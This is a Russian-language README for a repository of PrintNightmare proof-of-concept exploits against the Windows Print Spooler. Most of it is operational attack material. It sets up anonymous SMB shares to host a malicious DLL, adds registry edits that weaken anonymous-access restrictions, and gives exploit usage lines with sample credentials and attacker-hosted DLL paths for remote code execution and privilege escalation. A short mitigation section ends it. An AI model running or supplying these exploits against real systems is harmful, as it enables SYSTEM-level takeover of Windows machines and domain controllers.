
PrintNightmare - уязвимость Windows Print Spooler, позволяющая удаленное выполнение кода/повышение привилегий (CVE-2021-34527, CVE-2021-1675) - эксплойты с доказательством концепции.
Это уязвимость удаленного выполнения кода, которая может быть использована для получения привилегий уровня SYSTEM аутентифицированным удаленным пользователем на компьютерах Windows, работающих под управлением службы диспетчера печати. Злоумышленник может затем использовать этот доступ для создания новых учетных записей, попыток установки программ; просмотра, изменения или удаления данных; или создания новых учетных записей с полными правами пользователя.
Эта уязвимость существует из-за ошибки обхода авторизации в службе диспетчера печати spoolsv.exe в системах Windows, что позволяет аутентифицированным удаленным пользователям устанавливать драйверы печати с помощью вызова RPC RpcAddPrinterDriver и указывать файл драйвера, расположенный на удаленном ресурсе. Злоумышленник, использующий эту уязвимость, может получить привилегии уровня SYSTEM в системе Windows, запустившей эту службу, внедряя вредоносные DLL в процессе установки драйвера печати.
Хотя Microsoft выпустила обновление для CVE-2021-1675, это обновление не защищает контроллеры домена Active Directory или системы Windows, в которых настроена опция "Point and Print" с параметром NoWarningNoElevationOnInstall.
В этом репозитории представлены три реализации PoC эксплойта:
Поскольку служба RPC позволяет клиентской машине указать расположение драйверов печати для загрузки удаленным сервером, следующие примеры опций можно использовать для размещения полезной нагрузки и указания пути при запуске эксплойта:
Для настройки гостевого доступа в Samba необходимо указать пользователя, под которым будет выполняться вход. Убедитесь, что в системе существует пользователь smbuser, иначе создайте его с паролем password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Отредактируйте файл /etc/samba/smb.conf и включите анонимный доступ
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Ниже приведены немного обновленные инструкции по сравнению с предоставленными cube0x0:
Это реализация эксплойта Printnightmare с использованием Impacket от cube0x0. Перед запуском эксплойта необходимо установить модифицированную версию Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
Код эксплойта для этой уязвимости необходимо запускать с помощью Python 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Каталог SharpPrintNightmare/ содержит реализацию эксплойта Printnightmare на C# как для локального повышения привилегий (LPE) (CVE-2021-1675), так и для удаленного выполнения кода (RCE). Функциональность RCE требует выполнения с правами локального администратора на машине, с которой запускается эксплойт.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Выполните следующую команду:
Get-Service -Name Spooler
Если диспетчер печати запущен или служба не отключена, выберите один из следующих вариантов: отключить службу диспетчера печати или заблокировать входящую удаленную печать через групповую политику.
Если отключение службы диспетчера печати подходит для вашего предприятия, используйте следующие команды PowerShell (рекомендация от Microsoft):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
или отключите службу Spooler через реестр
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
или удалите службы печати
Uninstall-WindowsFeature Print-Services
Это отключит возможность печати как локально, так и удаленно.
Вы также можете настроить параметры через групповую политику следующим образом:
Computer Configuration / Administrative Templates / Printers
Отключите политику “Allow Print Spooler to accept client connections:”, чтобы заблокировать удаленные атаки.
Эта политика заблокирует вектор удаленной атаки, предотвратив входящие операции удаленной печати. Система больше не будет функционировать как сервер печати, но локальная печать на непосредственно подключенное устройство останется возможной.
Для получения дополнительной информации см.: Использование параметров групповой политики для управления принтерами.